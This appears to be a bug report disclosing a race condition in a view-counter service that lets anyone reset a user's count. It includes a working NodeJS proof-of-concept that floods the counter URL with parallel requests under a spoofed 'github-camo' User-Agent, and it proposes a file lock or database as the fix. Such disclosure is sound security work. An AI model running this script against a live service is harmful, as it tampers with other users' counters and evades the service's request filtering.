Race condition vulnerability causes counter reset

[Brikaa]

A user's counter can be reset by spamming requests, this happens due to a race condition while truncating and writing to a file. The following NodeJS script can be used to reset a user's counter:

// Send requestsPerBulk requests in parallel (let's call that a bulk)
// Wait till they are done
// Repeat till a total of bulks * requestsPerBulk requests

// After each bulk, output the number of succeeded requests and the number of failed requests
(async () => {
  const url = process.argv[2];
  const bulks = parseInt(process.argv[3]);
  const requestsPerBulk = parseInt(process.argv[4]);
  const headers = new Headers();
  headers.append('User-Agent', 'github-camo');
  for (let i = 0; i < bulks; ++i) {
    const promises = [];
    console.time('bulk');
    for (let j = 0; j < requestsPerBulk; ++j) {
      promises.push(fetch(url, { headers }));
    }
    const results = await Promise.all(promises);
    const failed = results.filter((res) => res.status >= 400).length;
    console.log(`Bulk ${i}:- failed: ${failed}, succeeded: ${requestsPerBulk - failed}`);
    console.timeEnd('bulk');
    await new Promise((r) => setTimeout(r, 500));
  }
})();

Run it as

node script_name.js ghpvc_url 50 20

and observe the counter, it will reset at a certain point in time.

Here is an explanation of the race condition that happens according to my understanding: Requests need to do the following:

• Read file, increment number
• Truncate file
• Put incremented number

The following race can happen between two requests (A and B):

• A: read file, increment number
• A: truncate file
• B: read file, increment number (oops read empty file, number is zero, incremented number is one!)
• A: put incremented number
• B: truncate file
• B: put incremented number (oops put one!)

This can be fixed by using a lock on the views-count file or by migrating to using a database management system that automatically handles concurrency issues.